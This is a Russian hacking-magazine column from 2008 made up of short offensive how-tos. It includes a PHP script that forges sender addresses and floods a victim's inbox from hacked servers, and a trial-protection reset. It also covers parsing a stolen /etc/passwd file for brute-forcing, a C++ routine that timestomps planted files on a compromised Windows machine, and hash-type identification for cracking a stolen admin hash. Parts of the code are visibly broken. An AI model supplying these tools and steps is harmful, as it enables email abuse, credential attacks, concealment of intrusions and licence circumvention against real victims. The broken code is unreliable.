Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 109, ЯНВАРЬ 2008 г.

Easy-Hack

Хакер, номер #109, стр. 040

Леонид «R0id» Стройков (stroikov@gameland.ru)

Леонид «Cr@wler» Исупов (crawlerhack@rambler.ru)

Владимир «Dot.err» Савицкий (kaifoflife@bk.ru)

Задача: отослать письмо с поддельным адресом отправителя

Решение

Зачастую у многих из нас возникает необходимость отправить на мыло мессагу с поддельным адресом отправителя. Цели у всех разные: кто-то просто хочет приколоться над другом, а кто-то таким образом обходит антифрод в очередном забугорном шопе :). Тем не менее способ реализации в обоих случаях одинаковый. Для наглядности я подробно распишу все необходимые действия, чтобы у тебя не возникало лишних вопросов. Итак:

1. Берем в руки PHP и начинаем кодить (комменты ниже):

<?

ignore_user_abort(1);

set_time_limit(0);

$to = "target@mail.com";

$from = "from@mail.com";

$subject = "test";

$msg = "mail_message";

//$check = "your_mail@mail.com";

$amount = 1;

$fl = ("./log.txt", "w");

$count = 0;

if(strlen($from) == 0 || strlen($to) == 0 || strlen($msg) == 0 || strlen($amount) == 0){

echo("<br><center>Write message!</center>");

exit;

}

else{

while($count < $amount){

mail("$to", "$subject", "$msg", "From: $from");

count .= + 1;

fputs($fl, "$count flood-letters was sended...n");

}

if(strlen($check) != 0){

$check_text = 'Done! $count flood-letters was sended!n';

$check_sub = 'Check';

mail("$check", "$check_sub", "$check_text", "From: $from");

fputs($fl, "Done! $count flood-letters was sended!n");

}

else{

fputs($fl, "Done! $count flood-letters was sended!n");

}

}

fclose($fl);

?>

Как видишь, получившийся скрипт умеет не только отсылать мессаги от левого отправителя, но и довольно успешно флудит мыльник жертвы. Все, что от тебя требуется, - это указать следующие данные перед рассылкой:

  • $to = "target@mail.com"; - здесь вбиваем мыльник недруга (куда будем отсылать письмо).
  • $from = "from@mail.com"; - указываем адрес отправителя (от кого отправлено письмо, например admin@msn.com :)).
  • $subject = "test"; - тема нашего письма.
  • $msg = "mail_message"; - сама мессага :).
  • //$check = "your_mail@mail.com"; - необязательный параметр - отсылка лога тебе на мыло.
  • $amount = 1; - количество писем.

То есть при желании ты можешь задать параметру $amount значение 100 и пофлудить чужой мыльник. Однако стоит помнить, что рассылка проводится средствами PHP, а следовательно, полноценного спама не получится (одним словом, не жадничай :)).

2. Далее необходимо выбрать сервер, с которого мы будем запускать наш скрипт. Если тебе надо отослать лишь одно письмо с поддельным обратным адресом, то можешь смело регаться на фриварных хостингах с поддержкой PHP. Как правило, они разрешают отправку писем со своих доменов, но с очень жестким тайм-аутом (вплоть до минуты). Ну а если ты хочешь заняться флудом, то без ломаных серверов здесь не обойтись. В общем, как и где найти сервер, объяснять, думаю, не нужно, только не забывай про обязательное наличие PHP и Sendmail.

3. Раздобыв сервер, быстренько заливаем вышеописанный PHP -скрипт, указываем свои параметры и запускаем его :).

Вот, собственно, и все. Надеюсь, флуд чужого мыльника будет долгим, а глум над приятелем - веселым и продолжительным :).

Задача: продолжить использование программы после окончания срока действия триал-версии

Для чего это может понадобиться? Собственно, для продления срока использования программы. Немного об этичности и законности подобного подхода. Не вдаваясь в юридические тонкости, я лишь попробую извернуться и скажу: софт, выполняющий задачи возвращения к жизни дохлых программ, просто чистит реестр от ключей, о которых пользователь и понятия-то не имеет. Реестр мой, в нем я могу творить все, что захочу, могу удалять или модифицировать ключи, как мне заблагорассудится. И если при этом некоторые программы начинают работать и после окончания срока действия своей триальной лицензии, то я в этом не виноват :).

Решение

1. Скачиваем или устанавливаем с нашего диска программу Trial-Reset.

2. Запускаем программу и выбираем в меню «Protectors -> All -> Scan».

3. Находим в списке найденных ключей те ключи, в пути/имени которых фигурирует имя программы или ее компании-изготовителя, и удаляем их, выбрав в меню правой кнопки мыши Clear Key.

4. Запускаем программу и, если она откажется работать после этой процедуры, находим в списке найденных ключей те, которые созданы той же системой защиты, что и удаленные нами ранее (какая система защиты создала ключи реестра, можно узнать, посмотрев в столбец System списка ключей). Например, если мы ранее удаляли ключи и файлы, созданные протектором VBox, то удаляем все аналогичные.

Чтобы не рвать на себе волосы, созерцая картину последствий удаления совершенно не относящихся к нашей программе ключей, рекомендую перед выполнением действий установить галочку автосохранения: «Options -> Auto backup». После этого для всех ключей будет создаваться бэкап в папке Backup директории, где установлена программа Trial-Reset.

Совет: чтобы не проводить часы в ожидании окончания сканирования системы на предмет всех известных программе навесных защит, стоит сузить область поиска. Для этого нам понадобится программа PEid, которая может определить тип защиты, используемый софтиной, или же данные об используемом протекторе, которые несложно найти в интернете. Зная тип протектора, сканировать реестр можно уже только на предмет ключей, созданных им («Protectors -> имя_протектора -> Scan»).

Trial-Reset может понадобиться не только для оживления триальных программ, но и при снятии протектора. Например, мне она очень помогла при снятии VBOX’а с восьмого Photoshop CS.

Задача: отпарсить удобочитаемый лист для брута из passwd-файла

Решение

Представь себе такую ситуацию: ты получил шелл на крупном хостинге либо приобрел возможность чтения файлов на сервере, но твои права сильно ограничены, а хостинг очень большой и аппетитный. Что делать? :) Правильно - первым делом следует запустить PHP-брут по имеющимся аккаунтам. Как показывает практика, на shared-хостингах очень распространены ламерообразные пароли, а значит, наши шансы достаточно велики :). Логины для брута мы будем сливать, естественно, из passwd-файла. Вот тут и возникает основной вопрос: как быстро и безболезненно отпрасить все логины пользователей из пары сотен строк, содержащих множество ненужной инфы (в виде путей до домашних каталогов и т.п.)? Начнем по порядку:

1. Сливаем passwd-файл с атакуемого сервера (если ты забыл, он находится по адресу /etc/passwd :)).

2. Пишем небольшой PHP-скрипт для парсинга слитого passwd-файла:

<?

$fn=fopen("passwd.txt","r");

if(!$fn){

echo("Can't open passwd.txt");

}else{

while(!feof($fn))

{

$np=fgets($fn);

$str=strrev($np);

$login=substr(strrchr($str,":"),1);

$rev=strrev($login);

$fp=fopen("logins.txt","a");

fputs($fp,"$revn");

fclose($fp);

}fclose($fn);

}

?>

3. Перед запуском скрипта сохраняем все содержимое passwd-файла в файл passwd.txt.

4. Запускаем наш скрипт с помощью PHP-интерпретатора и через несколько секунд забираем логины пользователей в logins.txt :).

Далее перед началом брута рекомендую скопировать все логины в password-лист и попробовать перебор по аккам вида логин:логин (то есть пароль равен логину). Мне не раз попадались подобные учетки, так что не сомневаюсь, что на крупном сервере повезет и тебе. В качестве брутера можно заюзать Гидру или FTP-bruter. Если ни первого, ни второго под рукой не окажется, поднимай подшивку ][, в одном из прошлых номеров я приводил пример FTP-брутера на PHP :).

Задача: скрыть время создания залитых файлов на взломанной Винде

Решение

Напишем небольшую прогу, меняющую время создания и изменения наших файлов на параметры, не вызывающие никаких подозрений. Используем для этого API-функции, например, при помощи языка C++.

1. Подключим заголовочный файл, содержащий описание этих функций (хотя нас будут интересовать лишь некоторые из них):

#include <windows.h>

2. Получим указатель (h_out) на файл uploaded.dat, параметры которого необходимо изменить. Воспользуемся функцией CreateFile() с флагом OPEN_EXISTING (таким образом, мы ничего не создаем, а открываем существующий файл на чтение):

HANDLE h_out = CreateFile("text5", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

Файл необходимо открыть с правами доступа на запись (GENERIC_WRITE), иначе поменять время не удастся.

3. Таким же образом получаем указатель на любой виндовый файл, стандартно создаваемый при установке. Для примера возьмем explorer.exe:

HANDLE h_in = CreateFile("C:\WINDOWS\explorer.exe", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

4. Существует структура FILETIME, описанная в winbase.h, которую мы и будем использовать для хранения данных о времени создания файла. Нам понадобятся три переменные этого типа: время создания, время открытия, время изменения.

FILETIME t_created;

FILETIME t_opened;

FILETIME t_changed;

5. Получим время создания, открытия и изменения этого виндового файла, используя указатель (h_in) на предварительно открытый файл (explorer.exe).

GetFileTime(h_in, &t_created, &t_opened, &t_changed);

6. Присвоим эти значения залитому на взломанный сервер файлу (uploaded.dat) через указатель на него (h_out) при помощи функции SetFileTime():

SetFileTime(h_out, &t_created, &t_opened, &t_changed);

7. Закроем открытые нами хэндлы файлов:

CloseHandle(h_in);

CloseHandle(h_out);

Готово. После выполненной работы не забываем удалить (спрятать) саму прогу в чужой Винде из соображений безопасности. В итоге мы получили такой же древний, покрытый пылью веков файл, как и сама Винда, притом нас совершенно не интересовало, когда она была установлена.

Задача: найти все входящие в двоичный файл строки, удовлетворяющие определенным требованиям, и сохранить их в текстовом файле

Решение

Эта задача может возникнуть в ходе совершенно разных работ. Например, может понадобиться найти серийный номер или его хэш, ссылку, по которой программа переходит для удаленной проверки валидности лицензии программы, и т.д. С такой работой, которую вручную выполнить крайне сложно, нам поможет справиться шестнадцатеричный редактор WinHex.

1. Запускаем WinHex и открываем с его помощью исследуемый файл.

2. В меню выбираем «Specialist -> Gather text».

3. Задаем условия поиска. В поле Recognize text by задаем минимальное количество идущих подряд символов, которое WinHex будет считать текстом (рекомендую оставить стандартное значение - 7 символов). Устанавливаем флажки, которые определяют, что может включать в себя искомый текст: символы алфавита (Letters), цифры (Numbers) или знаки препинания и пробелы (Punctuation marks and spaces). Можно задать и направление поиска, и поддержку поиска Unicode-символов.

4. Нажимаем Ok, в открывшемся окне задаем имя файла, в который будут сохранены все найденные текстовые строки. После этого сообщаем программе размер создаваемого текстового файла и ждем результатов сканирования.

Задача: сохранить картинку и звук с понравившегося flash-баннера

Решение

Существует множество прог для работы с flash-анимацией. Мы будем заниматься разборкой на части swf-файла, поэтому нас будут интересовать flash-декомпилеры. Несмотря на их большой ассортимент, все они похожи, поэтому возьмем для примера Sothink SWF Decompiler.

1. Запускаем прогу. Интерфейс не русский, но это уже давно никого не пугает. Перетаскиваем баннер прямо из эксплорера в любое окно swf-decompiler'а либо выбираем его в дереве каталогов проги.

2. Декомпилер начнет просматривать файл и разбирать его на составные части. При среднем размере файла этот процесс занимает не больше 3-5 секунд. Справа в древовидной структуре можно просмотреть любые элементы ролика, отсортированные по категориям: формы (Shape), звуки (Sound), шрифты (Font), текст, спрайты (Sprite), кнопки (Button), кадры (Frame), скрипты ActionScript (Action).

3. Открываем папку Shape, содержащую статические изображения. В ней ищем понравившуюся графику, напротив нужного изображения ставим галочку. В случае отсутствия нужного рисунка, открываем каталог Sprite, в котором собраны анимированные картинки.

Возможно, тебе понравилось музыкальное оформление. Конечно, оно используется не так часто, но однохначно привлекает внимание. Все файлы wav и mp3, запакованные в swf-файл, будут перечислены в папке Sound. Выбираем, прослушиваем, ставим галочки.

В папке Button можно найти оформление кнопок и ссылок баннера.

4. Нужные элементы выбраны, в главном меню тыкаем «File -> Export» либо жмем <F2>. Перед нами диалог экспорта. Проверяем настройки: в области File format напротив Shape ставим «Flash (*.swf)», напротив Sound ставим «Sound (*.wav; *.mp3)», напротив Sprite – «Flash (*.swf)», напротив Button – «Flash (*.swf)». Определяем папку, в которую будут скопированы нужные картинки и звук, и жмем Export.

5. Работа с swf-декомпилером закончена. Мы имеем нужные нам изображения и анимацию в отдельных маленьких файлах формата swf. Для перевода этих swf-файлов в привычный формат (jpeg, gif, bmp и т.д.) используем любой специализированный swf-конвертер, например, для перевода в gif можно заюзать SWF-AVI-GIF Converter.

Вот теперь идем пить пив... хм, то есть задача выполнена: мы получили графику и звук из flash-баннера.

Задача: Определить тип алгоритма по виду хэша пароля

Решение

В последнее время то и дело натыкаюсь на различных хак-форумах на топики с темами типа «Помогите определить алгоритм!» или «Чем зашифрован пасс?». С чем это связано? На самом деле здесь все достаточно просто. Посуди сам, только модификаций одного MD5 развелось немерено, а учитывая, что на большинстве движков пассы юзеров хранятся в базе в шифрованном виде, атакующему порой приходится разгадывать недетскую головоломку. Итак, допустим, ты слил хэш пароля от админского аккаунта. Все твои дальнейшие действия можно подогнать под следующий план:

1. Определение алгоритма (чем зашифрован пароль).

2. Брут слитого хэша.

Как ты понимаешь, глупо начинать брут, пока точно не убедишься в том, что ты на 100% правильно определил алгоритм шифрования. Поэтому первое, что мы сделаем, - рассмотрим наиболее распространенные алгоритмы (в том числе и модификации MD5, применяющиеся в PHP-движках):

  • MD4 - 4a4a963e47c7b8a3b355e0e0c90d0aa0 - мало где используется, в основном для общего ознакомления :).
  • MD5 (Unix) - $1$qwe$pBmwBb8acK8LffnIJif6T1 - применяется при шифровании паролей пользователей в *nix-системах.
  • MD5 (APR) - $apr1$qwe$4EO8hVkTlZyQnU0L2dsJB - здесь все просто, обрати внимание на ключевое слово apr в хэше.
  • MD5 (128bit - md5($pass)) - 97f44b13955235245b2497399d7a93 - очень часто используемый алгоритм.
  • MYSQL (64bit) - 5668a61a05d9c04b - встречается в старом мускуле (<= 5-й версии), брутится быстро и непринужденно :).
  • MYSQL5 (160bit) - e56a114692fe0de073f9a1dd68a00eeb9703f3f1 - встречается в мускуле => 5-й версии, не дружит с брутом.
  • SHA-1 (160bit) - 601f1889667efaebb33b8c12572835da3f027f78 - достаточно криптостойкий алгоритм.
  • SHA-1 (HMAC) - f52c1ee3b7b74c8ced47ae9a8a1891cc49db07e6
  • SHA-1 (Base64) - YB8YiWZ++uuzO4wSVyg12j8Cf3g=

Используются в PHP:

  • md5($pass) - a16ce661f37300103b24add01c94c8dc - много где, например, в phpbb.
  • md5(md5($pass)) - 63ee451939ed580ef3c4b6f0109d1fd0 - применяется в e107.
  • md5(md5($pass).$salt) - 3b66224a098f5eb18ce1a0bc9628269e - применяется в vBulletin.
  • md5(md5($salt).md5($pass)) - 231b7727e6471d3f22ef56e190a3bf61 - применяется в IPB 2.x.x.
  • sha1($username.$pass) - da39a3ee5e6b4b0d3255bfef95601890afd80709

После того как ты определил тип хэша и алгоритм шифрования, можно приступать к бруту. Среди софта выделить можно следующие утилы:

  1. John the Ripper - отлично брутит пароли, шифрованные с помощью DES-алгоритма.
  2. PasswordsPro - мастер на все руки, перебирает различные модификации MD5, MySQL, SHA-1.

Софта достаточно много, и каждый имеет свои особенности. Кроме того, советую запускать перебор на ломаных дедиках, поскольку напрягать сутками родной комп - неблагодарное занятие. Конечно, ты всегда можешь написать собственную утилу, в этом случае мыль мне, и, быть может, твой брутер окажется на страницах любимого журнала :).

Содержание
ttfb: 7.889986038208 ms